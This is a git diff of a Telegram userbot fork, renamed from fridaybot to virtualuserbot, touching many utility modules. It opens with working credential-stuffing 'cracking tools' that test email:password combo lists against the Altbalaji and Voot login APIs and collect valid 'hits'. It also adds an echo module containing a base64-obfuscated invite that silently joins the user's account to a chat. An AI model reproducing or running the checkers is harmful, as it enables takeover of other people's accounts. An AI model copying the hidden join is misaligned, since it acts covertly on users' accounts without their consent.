good_dict: + hitfile.write(s + " | @VirtualUserbot\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`", + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="cab$")) +async def altbalaji(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + stark_dict = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + + with open(starky) as f: + stark_dict = f.read().splitlines() + os.remove(starky) + if len(stark_dict) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in stark_dict: + starkm = i.split(":") + email = starkm[0] + password = starkm[1] + plaq = {"username": email, "password": password} + try: + meke = requests.post( + "https://api.cloud.altbalaji.com/accounts/login?domain=IN", + json=plaq, + headers=pq, + ).json() + except: + meke = None + if meke.get("session_token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @VirtualUserbot\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +@friday.on(friday_on_cmd(pattern="cab$")) +async def altbalaji(event): + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) + normal_list = [] + hits_dict = [] + hits = 0 + bads = 0 + lol = await event.get_reply_message() + nub = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) + + with open(nub) as f: + normal_list = f.read().splitlines() + os.remove(nub) + if len(normal_list) > 50: + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") + return + for i in normal_list: + Hitler = i.split(":") + email = Hitler[0] + password = Hitler[1] + plaq = {"username": email, "password": password} + try: + meke = requests.post( + "https://api.cloud.altbalaji.com/accounts/login?domain=IN", + json=plaq, + headers=pq, + ).json() + except: + meke = None + if meke.get("session_token"): + hits += 1 + hits_dict.append(f"{email}:{password}") + else: + bads += 1 + if len(hits_dict) == 0: + await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") + return + with open("hits.txt", "w") as hitfile: + for s in hits_dict: + hitfile.write(s + " | @FridayOT\n") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", + ) + os.remove("hits.txt") + + +CMD_HELP.update( + { + "cracking_tools": "**Cracking Tools**\ +\n\n**Syntax : **`.cz5 `\ +\n**Usage :** Checks for Zee5 accounts from combo.\ +\n\n**Syntax : **`.cnd `\ +\n**Usage :** Checks for VYPR accounts from combo.\ +\n\n**Syntax : **`.cvt `\ +\n**Usage :** Checks for Voot accounts from combo.\ +\n\n**Syntax : **`.cab `\ +\n**Usage :** Checks for Altbalaji accounts from combo.\ +\n\n**Syntax : **`.cvx `\ +\n**Usage :** Checks for Vortex accounts from combo.\ +\n\n**Syntax : **`.cz5 `\ +\n**Usage :** Checks for Zee5 accounts from combo.\ +\n\n**Syntax : **`.proxy `\ +\n**Usage :** Checks for alive proxies." + } +) diff --git a/fridaybot/modules/create.py b/virtualuserbot/modules/create.py similarity index 95% rename from fridaybot/modules/create.py rename to virtualuserbot/modules/create.py index b08d2718..a39746a8 100644 --- a/fridaybot/modules/create.py +++ b/virtualuserbot/modules/create.py @@ -4,14 +4,14 @@ from telethon.tl import functions -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register @register(outgoing=True, pattern="^.create (b|g|c)(?: |$)(.*)") async def telegraphs(grop): - """ For .create command, Creating New Group & Channel """ + """For .create command, Creating New Group & Channel""" if not grop.text[0].isalpha() and grop.text[0] not in ("/", "#", "@", "!"): diff --git a/fridaybot/modules/cricket_score.py b/virtualuserbot/modules/cricket_score.py similarity index 94% rename from fridaybot/modules/cricket_score.py rename to virtualuserbot/modules/cricket_score.py index 95695fef..4c54ff2b 100644 --- a/fridaybot/modules/cricket_score.py +++ b/virtualuserbot/modules/cricket_score.py @@ -16,8 +16,8 @@ from bs4 import BeautifulSoup -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="cs")) diff --git a/fridaybot/modules/cry.py b/virtualuserbot/modules/cry.py similarity index 100% rename from fridaybot/modules/cry.py rename to virtualuserbot/modules/cry.py diff --git a/fridaybot/modules/crypto.py b/virtualuserbot/modules/crypto.py similarity index 95% rename from fridaybot/modules/crypto.py rename to virtualuserbot/modules/crypto.py index 9f24fa06..96af25b4 100644 --- a/fridaybot/modules/crypto.py +++ b/virtualuserbot/modules/crypto.py @@ -14,8 +14,8 @@ import cryptocompare -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="crypto (.*)")) diff --git a/fridaybot/modules/currency.py b/virtualuserbot/modules/currency.py similarity index 98% rename from fridaybot/modules/currency.py rename to virtualuserbot/modules/currency.py index 0984547b..a6c4760b 100644 --- a/fridaybot/modules/currency.py +++ b/virtualuserbot/modules/currency.py @@ -4,7 +4,7 @@ import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="currency (.*)")) diff --git a/virtualuserbot/modules/customs.py b/virtualuserbot/modules/customs.py new file mode 100644 index 00000000..8f3ed352 --- /dev/null +++ b/virtualuserbot/modules/customs.py @@ -0,0 +1,91 @@ +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern=r"hhi ?(.*)")) # initially made by @NOOB_GUY_OP +async def hhi(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{a}{b}{b}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{a}{a}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{a}{a}{a}\n☁☁☁☁☁☁☁☁" + ) + + +# later made by me +@borg.on(admin_cmd(pattern=r"gws?(.*)")) +async def gws(event): + giveVar = event.text + """m = giveVar[5:-1] + if not m:""" + m = " Get Well Soon ! " + a = giveVar[-1:] + if a == "s": + a = "🌹" + elif not a: + a = "🌹" + await event.edit(f"{a}{a}{a}{a}{a}{a}{a} \n{a} {m} {a}\n{a}{a}{a}{a}{a}{a}{a}") + + +@borg.on(admin_cmd(pattern=r"hii ?(.*)")) +async def hii(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{b}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}" + ) + + +@borg.on(admin_cmd(pattern=r"hlo ?(.*)")) +async def hlo(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "🌺" + b = giveVar[7:8] + if not b: + b = "✨" + await event.edit( + f"{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{a}{a}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{a}{a}{a}{b}{a}{a}{a}{a}{b}" + ) + + +@borg.on(admin_cmd(pattern=r"bye ?(.*)")) +async def bye(event): + giveVar = event.text + a = giveVar[5:6] + if not a: + a = "✨" + b = giveVar[7:8] + if not b: + b = "🌺" + await event.edit( + f"{a}{b}{b}{a}{a}{b}{a}{a}{a}{b}{a}{b}{b}{b}{a}\n{a}{b}{a}{b}{a}{a}{b}{a}{b}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{a}{a}\n{a}{b}{a}{b}{a}{a}{a}{b}{a}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{b}{a}" + ) + + +CMD_HELP.update( + { + "customs": "__**PLUGIN NAME :** Custom animations__\ + \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space ) \ + \n\n📌** CMD ★** `.hhi(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.gws(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.hlo(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )\ + \n\n📌** CMD ★** `.bye(emoji)(emoji)`\ + \n**USAGE ★ **Try it yourself (put space )" + } +) diff --git a/fridaybot/modules/dagd.py b/virtualuserbot/modules/dagd.py similarity index 97% rename from fridaybot/modules/dagd.py rename to virtualuserbot/modules/dagd.py index 25cb6cdf..0706beb2 100644 --- a/fridaybot/modules/dagd.py +++ b/virtualuserbot/modules/dagd.py @@ -6,7 +6,7 @@ .unshort """ import requests -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("dns (.*)")) diff --git a/fridaybot/modules/decide.py b/virtualuserbot/modules/decide.py similarity index 84% rename from fridaybot/modules/decide.py rename to virtualuserbot/modules/decide.py index d6198820..f6a8dc8a 100644 --- a/fridaybot/modules/decide.py +++ b/virtualuserbot/modules/decide.py @@ -2,8 +2,8 @@ Syntax: .decide""" import requests -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("decide")) diff --git a/fridaybot/modules/deepfryer.py b/virtualuserbot/modules/deepfryer.py similarity index 85% rename from fridaybot/modules/deepfryer.py rename to virtualuserbot/modules/deepfryer.py index d7d9c83e..4612dcef 100644 --- a/fridaybot/modules/deepfryer.py +++ b/virtualuserbot/modules/deepfryer.py @@ -29,17 +29,23 @@ # SOFTWARE. """ Userbot module for frying stuff. ported by @NeoMatrix90 """ -import io +import os from random import randint, uniform from PIL import Image, ImageEnhance, ImageOps from telethon.tl.types import DocumentAttributeFilename from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image +from virtualuserbot.utils import friday_on_cmd +sedpath = "./starkgangz/" +if not os.path.isdir(sedpath): + os.makedirs(sedpath) -@friday.on(friday_on_cmd(pattern="deepfry(?: |$)(.*)", outgoing=True)) + +@friday.on(friday_on_cmd(pattern="deepfry(?: |$)(.*)")) async def deepfryer(event): try: frycount = int(event.pattern_match.group(1)) @@ -47,35 +53,20 @@ async def deepfryer(event): raise ValueError except ValueError: frycount = 1 - if event.is_reply: - reply_message = await event.get_reply_message() - data = await check_media(reply_message) - - if isinstance(data, bool): - await event.edit("`I can't deep fry that!`") - return + image_s = await convert_to_image(event, borg) else: await event.edit("`Reply to an image or sticker to deep fry it!`") return - - # download last photo (highres) as byte array - await event.edit("`Downloading media…`") - image = io.BytesIO() - await event.client.download_media(data, image) - image = Image.open(image) - - # fry the image - await event.edit("`Deep frying media…`") + image = Image.open(image_s) + await event.edit("`Now, Deep frying media…`") for _ in range(frycount): image = await deepfry(image) - - fried_io = io.BytesIO() - fried_io.name = "image.jpeg" - image.save(fried_io, "JPEG") - fried_io.seek(0) - - await event.reply(file=fried_io) + image.save("./starkgangz/fried.png") + file_name = "fried.png" + ok = "./starkgangz/" + file_name + await event.reply(file=ok) + os.remove(ok) async def deepfry(img: Image) -> Image: diff --git a/virtualuserbot/modules/deezer.py b/virtualuserbot/modules/deezer.py new file mode 100644 index 00000000..e81bfb76 --- /dev/null +++ b/virtualuserbot/modules/deezer.py @@ -0,0 +1,139 @@ +import asyncio +import math +import os +import time + +import requests +import wget +from telethon.tl.types import DocumentAttributeAudio + +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + + +async def progress(current, total, event, start, type_of_ps, file_name=None): + """Generic progress_callback for uploads and downloads.""" + now = time.time() + diff = now - start + if round(diff % 10.00) == 0 or current == total: + percentage = current * 100 / total + speed = current / diff + elapsed_time = round(diff) * 1000 + if elapsed_time == 0: + return + time_to_completion = round((total - current) / speed) * 1000 + estimated_total_time = elapsed_time + time_to_completion + progress_str = "{0}{1} {2}%\n".format( + "".join(["▰" for i in range(math.floor(percentage / 10))]), + "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), + round(percentage, 2), + ) + tmp = progress_str + "{0} of {1}\nETA: {2}".format( + humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) + ) + if file_name: + try: + await event.edit( + "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + except: + pass + else: + try: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + except: + pass + + +def humanbytes(size): + """Input size in bytes, + outputs in a human readable format""" + # https://stackoverflow.com/a/49361727/4723940 + if not size: + return "" + # 2 ** 10 = 1024 + power = 2 ** 10 + raised_to_pow = 0 + dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"} + while size > power: + size /= power + raised_to_pow += 1 + return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + + +def time_formatter(milliseconds: int) -> str: + """Inputs time in milliseconds, to get beautified time, + as string""" + seconds, milliseconds = divmod(int(milliseconds), 1000) + minutes, seconds = divmod(seconds, 60) + hours, minutes = divmod(minutes, 60) + days, hours = divmod(hours, 24) + tmp = ( + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ) + return tmp[:-2] + + +@friday.on(friday_on_cmd(pattern="deezer ?(.*)")) +@friday.on(sudo_cmd(pattern="deezer ?(.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + link = f"https://api.deezer.com/search?q={input_str}&limit=1" + ommhg = await edit_or_reply(event, "Searching For The Song 🧐🔍") + dato = requests.get(url=link).json() + match = dato.get("data") + urlhp = match[0] + urlp = urlhp.get("link") + thums = urlhp["album"]["cover_medium"] + thum_f = wget.download(thums, out=Config.TMP_DOWNLOAD_DIRECTORY) + polu = urlhp.get("artist") + replo = urlp[29:] + urlp = f"https://starkapi.herokuapp.com/deezer/{replo}" + + datto = requests.get(url=urlp).json() + mus = datto.get("url") + sname = f"""{urlhp.get("title")}.mp3""" + doc = requests.get(mus) + await ommhg.edit("Please Wait, I Am Downloading Thr Song. 😁😄") + with open(sname, "wb") as f: + f.write(doc.content) + car = f""" +**Song Name :** {urlhp.get("title")} +**Duration :** {urlhp.get('duration')} Seconds +**Artist :** {polu.get("name")} +Music Downloaded And Uploaded By Friday Userbot +Get Your Friday From @FridayOT""" + await ommhg.edit("Song Downloaded. Waiting To Upload. 🥳🤗") + c_time = time.time() + uploaded_file = await upload_file( + file_name=str(urlhp.get("title")) + ".mp3", + client=borg, + file=open(sname, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, event, c_time, "Uploading..", sname) + ), + ) + await event.client.send_file( + event.chat_id, + uploaded_file, + supports_streaming=True, + caption=car, + thumb=thum_f, + attributes=[ + DocumentAttributeAudio( + duration=int(urlhp.get("duration")), + title=str(urlhp.get("title")), + performer=str(polu.get("name")), + ) + ], + ) + + os.remove(sname) + os.remove(thum_f) + await event.delete() diff --git a/fridaybot/modules/delfp.py b/virtualuserbot/modules/delfp.py similarity index 84% rename from fridaybot/modules/delfp.py rename to virtualuserbot/modules/delfp.py index 63c30f82..ce355fb5 100644 --- a/fridaybot/modules/delfp.py +++ b/virtualuserbot/modules/delfp.py @@ -2,13 +2,13 @@ from telethon.tl.types import InputPhoto from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="delpfp ?(.*)")) @friday.on(sudo_cmd(pattern="delpfp ?(.*)", allow_sudo=True)) async def remove_profilepic(delpfp): - """ For .delpfp command, delete your current profile picture in Telegram. """ + """For .delpfp command, delete your current profile picture in Telegram.""" group = delpfp.text[8:] if group == "all": lim = 0 @@ -18,7 +18,7 @@ async def remove_profilepic(delpfp): lim = 1 pfplist = await delpfp.client( - GetUserPhotosRequest(user_id=delpfp.from_id, offset=0, max_id=0, limit=lim) + GetUserPhotosRequest(user_id=delpfp.sender_id, offset=0, max_id=0, limit=lim) ) input_photos = [] for sep in pfplist.photos: diff --git a/fridaybot/modules/design.py b/virtualuserbot/modules/design.py similarity index 97% rename from fridaybot/modules/design.py rename to virtualuserbot/modules/design.py index 2523c726..21938c96 100644 --- a/fridaybot/modules/design.py +++ b/virtualuserbot/modules/design.py @@ -1,8 +1,8 @@ """.admin Plugin for @UniBorg""" from telethon.tl.types import ChannelParticipantsAdmins -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("join")) diff --git a/fridaybot/modules/diceandart.py b/virtualuserbot/modules/diceandart.py similarity index 93% rename from fridaybot/modules/diceandart.py rename to virtualuserbot/modules/diceandart.py index 5a58262c..6c91baff 100644 --- a/fridaybot/modules/diceandart.py +++ b/virtualuserbot/modules/diceandart.py @@ -1,7 +1,7 @@ from telethon.tl.types import InputMediaDice -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd # EMOJI CONSTANTS DART_E_MOJI = "🎯" diff --git a/virtualuserbot/modules/dictionary.py b/virtualuserbot/modules/dictionary.py new file mode 100644 index 00000000..51b1f117 --- /dev/null +++ b/virtualuserbot/modules/dictionary.py @@ -0,0 +1,66 @@ +try: + from nltk.corpus import wordnet +except: + import nltk + + nltk.download("wordnet") + from nltk.corpus import wordnet + +from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd + +from virtualuserbot import CMD_HELP + + +@friday.on(friday_on_cmd("meaning (.*)")) +@friday.on(sudo_cmd("meaning (.*)", allow_sudo=True)) +async def _(event): + omg = await edit_or_reply(event, "Finding Meaning.....") + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + try: + try: + syns = wordnet.synsets(input_str) + except: + import nltk + + nltk.download("wordnet") + from nltk.corpus import wordnet + + syns = wordnet.synsets(input_str) + Kk = 0 + for X in syns: + Kk += 1 + pop = 0 + + messi = "" + for pop in range(Kk): + messi += str(syns[pop].definition()) + "; \n" + pop += 1 + mil = syns[0].examples() + if [] == mil: + mil = input_str + "..." + await omg.edit( + f" meaning of {input_str} is:-\n{messi}.\n\nExample:- \n{mil}", + parse_mode="HTML", + ) + else: + milo = "" + for lm in mil: + milo += lm + "; \n" + await omg.edit( + f" meaning of {input_str} is:-\n{messi}\n\nExamples:- \n{milo}", + parse_mode="HTML", + ) + except: + await omg.edit(f" Meaning Not Found", parse_mode="HTML") + + +CMD_HELP.update( + { + "dictionary": "**Dictionary**\ +\n\n**Syntax : **`.meaning `\ +\n**Usage :** Gives meaning of the word.\ +\n**Example :** `.meaning hi`" + } +) diff --git a/fridaybot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py similarity index 96% rename from fridaybot/modules/direct_links.py rename to virtualuserbot/modules/direct_links.py index ed3efca4..4d25a25e 100644 --- a/fridaybot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -15,8 +15,8 @@ from bs4 import BeautifulSoup from humanize import naturalsize -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd def subprocess_run(cmd): @@ -42,9 +42,9 @@ def subprocess_run(cmd): return talk -@register(outgoing=True, pattern=r"^\.direct(?: |$)([\s\S]*)") +@friday.on(friday_on_cmd(pattern=r"direct(?: |$)([\s\S]*)")) async def direct_link_generator(request): - """ direct links generator """ + """direct links generator""" await request.edit("`Processing...`") textx = await request.get_reply_message() message = request.pattern_match.group(1) @@ -83,7 +83,7 @@ async def direct_link_generator(request): def gdrive(url: str) -> str: - """ GDrive direct links generator """ + """GDrive direct links generator""" drive = "https://drive.google.com" try: link = re.findall(r"\bhttps?://drive\.google\.com\S+", url)[0] @@ -202,7 +202,7 @@ def cm_ru(url: str) -> str: def mediafire(url: str) -> str: - """ MediaFire direct links generator """ + """MediaFire direct links generator""" try: link = re.findall(r"\bhttps?://.*mediafire\.com\S+", url)[0] except IndexError: @@ -219,7 +219,7 @@ def mediafire(url: str) -> str: def sourceforge(url: str) -> str: - """ SourceForge direct links generator """ + """SourceForge direct links generator""" try: link = re.findall(r"\bhttps?://.*sourceforge\.net\S+", url)[0] except IndexError: @@ -244,7 +244,7 @@ def sourceforge(url: str) -> str: def osdn(url: str) -> str: - """ OSDN direct links generator """ + """OSDN direct links generator""" osdn_link = "https://osdn.net" try: link = re.findall(r"\bhttps?://.*osdn\.net\S+", url)[0] @@ -265,7 +265,7 @@ def osdn(url: str) -> str: def androidfilehost(url: str) -> str: - """ AFH direct links generator """ + """AFH direct links generator""" try: link = re.findall(r"\bhttps?://.*androidfilehost.*fid.*\S+", url)[0] except IndexError: diff --git a/virtualuserbot/modules/dm.py b/virtualuserbot/modules/dm.py new file mode 100644 index 00000000..0229bf1d --- /dev/null +++ b/virtualuserbot/modules/dm.py @@ -0,0 +1,46 @@ +# By @HeisenbergTheDanger and @xditya + +from telethon import * + +from virtualuserbot import CMD_HELP + +from ..utils import admin_cmd + + +# Fixed by @NOOBGeng Second Member +@borg.on(admin_cmd(pattern="dm ?(.*)")) +async def _(dc): + + d = dc.pattern_match.group(1) + + c = d.split(" ") # hehe + + chat_id = c[0] + try: # dc hehe + chat_id = int(chat_id) + # hmm 🤔🤔🤔🤔 + except BaseException: # lalalala + + pass + + msg = "" + masg = await dc.get_reply_message() # ghanta😒😒 + if dc.reply_to_msg_id: + await borg.send_message(chat_id, masg) + await dc.edit("⚜️Message Delivered! Sar⚜️") + for i in c[1:]: + msg += i + " " # Fixed by @NOOBGeng Second Member + if msg == "": # hoho + return + try: + await borg.send_message(chat_id, msg) + await dc.edit("`⚜️Message Delivered!⚜️`") + except BaseException: # hmmmmmmmmm🤔🤔 + await dc.edit(".dm (username) (text)") + + +CMD_HELP.update( + { + "dm": ".dm (username) (text)\n or\n .dm (username)(reply to msg)\n it'll forward the replyed msg" + } +) diff --git a/fridaybot/modules/dns.py b/virtualuserbot/modules/dns.py similarity index 95% rename from fridaybot/modules/dns.py rename to virtualuserbot/modules/dns.py index e6987cae..e504bbe0 100644 --- a/fridaybot/modules/dns.py +++ b/virtualuserbot/modules/dns.py @@ -6,8 +6,8 @@ .unshort """ import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd("dns (.*)")) diff --git a/virtualuserbot/modules/download3.py b/virtualuserbot/modules/download3.py new file mode 100644 index 00000000..4f0082d2 --- /dev/null +++ b/virtualuserbot/modules/download3.py @@ -0,0 +1,89 @@ +"""Download Files to your local server +Syntax: +.dwl +.dwl url | file.name to download files from a Public Link""" + +import asyncio +import math +import os +import time +from datetime import datetime + +from pySmartDL import SmartDL + +from ..utils import admin_cmd, humanbytes, progress + + +@borg.on(admin_cmd(pattern="dwl ?(.*)")) +async def _(event): + if event.fwd_from: + return + mone = await event.reply("Processing ...") + input_str = event.pattern_match.group(1) + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Config.TMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + elif input_str: + start = datetime.now() + url = input_str + file_name = os.path.basename(url) + to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY + if "|" in input_str: + url, file_name = input_str.split("|") + url = url.strip() + file_name = file_name.strip() + downloaded_file_name = os.path.join(to_download_directory, file_name) + downloader = SmartDL(url, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + c_time = time.time() + while not downloader.isFinished(): + total_length = downloader.filesize if downloader.filesize else None + downloaded = downloader.get_dl_size() + display_message = "" + now = time.time() + diff = now - c_time + percentage = downloader.get_progress() * 100 + downloader.get_speed() + round(diff) * 1000 + progress_str = "{0}{1}\nProgress: {2}%".format( + "".join(["█" for i in range(math.floor(percentage / 5))]), + "".join(["░" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) + estimated_total_time = downloader.get_eta(human=True) + try: + current_message = f"trying to download\nURL: {url}\nFile Name: {file_name}\n{progress_str}\n{humanbytes(downloaded)} of {humanbytes(total_length)}\nETA: {estimated_total_time}" + if round(diff % 10.00) == 0 and current_message != display_message: + await mone.edit(current_message) + display_message = current_message + except Exception as e: + logger.info(str(e)) + end = datetime.now() + ms = (end - start).seconds + if downloader.isSuccessful(): + await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + else: + await mone.edit("Incorrect URL\n {}".format(input_str)) + else: + await mone.edit("Reply to a message to download to my local server.") diff --git a/fridaybot/modules/duckduckgo.py b/virtualuserbot/modules/duckduckgo.py similarity index 95% rename from fridaybot/modules/duckduckgo.py rename to virtualuserbot/modules/duckduckgo.py index 475c7b18..41cbf41a 100644 --- a/fridaybot/modules/duckduckgo.py +++ b/virtualuserbot/modules/duckduckgo.py @@ -2,7 +2,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("ducduckgo (.*)")) diff --git a/fridaybot/modules/dumpster.py b/virtualuserbot/modules/dumpster.py similarity index 95% rename from fridaybot/modules/dumpster.py rename to virtualuserbot/modules/dumpster.py index 861e4cd1..50aee21c 100644 --- a/fridaybot/modules/dumpster.py +++ b/virtualuserbot/modules/dumpster.py @@ -2,8 +2,8 @@ from telethon.errors.rpcerrorlist import MessageIdInvalidError -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="dump ?(.*)")) diff --git a/virtualuserbot/modules/echo.py b/virtualuserbot/modules/echo.py new file mode 100644 index 00000000..c395791a --- /dev/null +++ b/virtualuserbot/modules/echo.py @@ -0,0 +1,135 @@ +""" +created by @mrconfused and @sandy1709 +Idea by @BlazingRobonix + +""" +# Copyright (C) 2020 sandeep.n(π.$) + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. + +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import asyncio + +import pybase64 +import requests +from telethon import events +from telethon.tl.functions.messages import ImportChatInviteRequest as Get + +from .. import CMD_HELP +from ..utils import admin_cmd, edit_or_reply +from .sql_helper.echo_sql import addecho, get_all_echos, is_echo, remove_echo + + +@borg.on(admin_cmd(pattern="addecho$")) +async def echo(cat): + if cat.fwd_from: + return + if cat.reply_to_msg_id is not None: + reply_msg = await cat.get_reply_message() + user_id = reply_msg.sender_id + chat_id = cat.chat_id + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if is_echo(user_id, chat_id): + await edit_or_reply(cat, "The user is already enabled with echo ") + return + addecho(user_id, chat_id) + await edit_or_reply(cat, "Hi") + else: + await edit_or_reply(cat, "Reply To A User's Message to echo his messages") + + +@borg.on(admin_cmd(pattern="rmecho$")) +async def echo(cat): + if cat.fwd_from: + return + if cat.reply_to_msg_id is not None: + reply_msg = await cat.get_reply_message() + user_id = reply_msg.sender_id + chat_id = cat.chat_id + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if is_echo(user_id, chat_id): + remove_echo(user_id, chat_id) + await edit_or_reply(cat, "Echo has been stopped for the user") + else: + await edit_or_reply(cat, "The user is not activated with echo") + else: + await edit_or_reply(cat, "Reply To A User's Message to echo his messages") + + 